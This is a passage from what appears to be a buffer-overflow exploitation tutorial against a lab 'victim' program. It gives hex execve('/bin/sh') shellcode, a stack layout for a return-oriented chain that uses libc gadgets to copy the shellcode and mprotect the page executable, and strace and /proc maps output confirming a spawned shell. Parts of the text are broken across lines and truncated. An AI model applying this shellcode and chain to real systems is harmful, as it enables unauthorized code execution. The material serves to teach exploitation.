xxd -s0x78 -l40 -p the compiled code to generate the shell code. This will go at
the start of our input string.
2f62696e2f73680031c031f631ff31d2b03b488d3de7ffffff0f05e8e8ffffff31c0b03c31ff0f05
This is what the stack will look right after the get function in victim:
----------------------| 2f62696e2f73680031..|
|
|
|
64 bytes
|
|(filled up with 0x00)|
|---------------------|
| 0x00007fffffffe5d0 |
|---------------------|
| 0x00007ffff7a7b8cf |
|---------------------|
| 0x0000000000601040 |
i
|---------------------|
| 0x00007ffff7aa7b18 | <-- libc: pop %rsi-ret
|---------------------|
| 0x00007fffffffe5d0 | <-- buffer to copy from (src): val of $rsi
|---------------------|
| 0x00007ffff7aa32d2 | <-- libc: pop %rdx-ret
|---------------------|
| 0x0000000000000028 |
|---------------------|
| 0x00007ffff7adf290 |
|---------------------|
| 0x00007ffff7a7b8cf |
|---------------------|
| 0x0000000000601000 |
|---------------------|
| 0x00007ffff7aa7b18 |
|---------------------|
| 0x0000000000001000 |
|---------------------|
| 0x00007ffff7aa32d2 |
|---------------------|
| 0x0000000000000005 |
|---------------------|
| 0x00007ffff7b3c570 |
|---------------------|
| 0x0000000000601048 |
|---------------------|
| 0xacabacabacabacab |
|---------------------|
|
|
|
. . .
|
/bin/sh
) = 27
[
7ffff7b3c577] mprotect(0x601000, 4096, PROT_READ|PROT_EXEC) = 0
[
60105b] execve("/bin/sh", [0], [0]) = 0
[
7ffff7df3fca] brk(0)
= 0x6ea000
[
7ffff76ea325] stat("/usr/local/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No
such file or directory)
[
7ffff76ea325] stat("/usr/local/bin/bash", 0x7fffffffe9b0) = -1 ENOENT (No s
uch file or directory)
[
7ffff76ea325] stat("/usr/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such f
ile or directory)
[
7ffff76ea325] stat("/usr/bin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such fi
le or directory)
[
7ffff76ea325] stat("/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such file
or directory)
[
7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mo
de=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832
, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st
_ctime=2012/05/28-17:30:45}) = 0
[
7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mo
de=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832
, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st
_ctime=2012/05/28-17:30:45}) = 0
[
7ffff76bdad7] geteuid()
= 0
[
7ffff76bdaf7] getegid()
= 0
[
7ffff76bdac7] getuid()
= 0
[
7ffff76bdae7] getgid()
= 0
[
7ffff76eb047] access("/bin/bash", X_OK) = 0
[
7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mo
de=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832
, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st
_ctime=2012/05/28-17:30:45}) = 0
/bin/bash executed.
So, we know that the shell code was executed, but we can also check what happene
d to our data page. Before we checked /proc/$pid/maps to check the in-memory loc
ation of libc, we can do the same to get everything:
Before (at program start):
# cat /proc/24034/maps
00400000-00401000 r-xp 00000000 08:05 9699676
xx/victim
00600000-00601000 r--p 00000000 08:05 9699676
xx/victim
00601000-00602000 rw-p 00001000 08:05 9699676
xx/victim
7ffff7a57000-7ffff7bd4000 r-xp 00000000 08:05 46534885
bc-2.11.1.so
7ffff7bd4000-7ffff7dd3000 ---p 0017d000 08:05 46534885
bc-2.11.1.so
7ffff7dd3000-7ffff7dd7000 r--p 0017c000 08:05 46534885
bc-2.11.1.so
/xx/xx/
/xx/xx/
/xx/xx/
/lib/li
/lib/li
/lib/li
/xx/xx/
/xx/xx/
/xx/xx/
/lib/li
/lib/li
/lib/li